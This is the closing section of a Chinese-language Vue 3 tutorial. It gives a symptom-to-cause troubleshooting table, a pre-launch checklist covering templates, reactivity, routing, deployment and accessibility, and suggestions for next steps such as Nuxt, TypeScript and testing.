| 改 props 出现红色警告 | 违反单向数据流:改成 emit 或本地副本 | 九 |
| checkbox / 输入框状态串行 | :key 用了 index 或缺失 | 十一 |
| 点一次触发两次 | 组件未声明 emits,事件透传到根 DOM | 九 |
| 表单一点就整页刷新 | 辅助按钮没写 type="button" 或 submit 没 .prevent | 六 |
| 动画没效果 | Transition 类名缺 -enter-from / -leave-to,或多根组件 | 七、十四 |
| tab 切回来数据不刷新 | KeepAlive 下 onMounted 只跑一次,逻辑要放 onActivated | 十四 |
| 切换路由后还在轮询 | 忘记 onUnmounted 清理定时器/监听 | 十二 |
| 刷新子页面 404 | history 模式缺 try_files fallback,或 base 不一致 | 十六、十八 |
| 上线后没警告、线下才发现错 | 生产构建剥掉校验;用开发版 + preview 走一遍 | 十八 |
| dev 好好的,build 后资源 404 | 子路径部署忘配 base(与 Nuxt 的 app.baseURL 同一类坑) | 十八 |
环境变量读到 undefined | 缺 VITE_ 前缀 | 十八 |
上线前核对清单
| 类别 | 检查项 |
|---|---|
| 模板 | 所有 v-for 有稳定 :key;v-html 只用于可信内容;模板表达式都是「表达式」 |
| 响应式 | 没有 reactive/props/store 的直接解构;ref 读写都带 .value;大列表用 shallowRef |
| 组件 | props/emits 有类型声明;不直接改 props;多根组件处理了 attrs;暴露面用 defineExpose 收窄 |
| 生命周期 | 每个 addEventListener / setInterval / watch(手动创建)都能在卸载钩子里找到对应清理 |
| 状态 | 进入 Pinia 的只有跨页面数据;持久化字段最小且带兜底;无循环引用 |
| 路由 | meta 权限字段与守卫配套;异步守卫有失败分支;404 兜底在最后;base 与构建 base 一致 |
| 构建部署 | npm run build && npm run preview 全部路由点过;base、try_files、CDN 路径核对;.env 未入库且无密钥 |
| 可访问性 | 表单有 label;纯图标按钮有 aria-label;焦点可见;role 用词准确 |
下一步往哪走
按性价比排序:
- Nuxt(本站姊妹篇《Nuxt 教程》):把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由,Nuxt 全都自动导入,重点变成「数据什么时候在服务端取、什么时候在客户端取」。
- TypeScript +
vue-tsc:把 props、store、API 返回类型钉死,重构时不再靠胆量。 - 测试:Vitest + Vue Test Utils 测组件行为,Playwright/Cypress 测关键流程(登录、下单)。
- 生态里绕不开的几件:UI 库(Element Plus / Naive UI / shadcn-vue)、数据请求(TanStack Query 或 Nuxt 的
useFetch)、表格与图表(vxe-table、ECharts)、表单校验(VeeValidate / zod)。 - 原理补两页:官方文档的「深入响应式系统」和「编译优化(静态提升、patch flags)」——不必通读,但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。
Vue 的核心其实一直只有那句话:把界面写成数据的函数,剩下的交给框架。 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时,三秒内就想到是解构还是 key 的锅。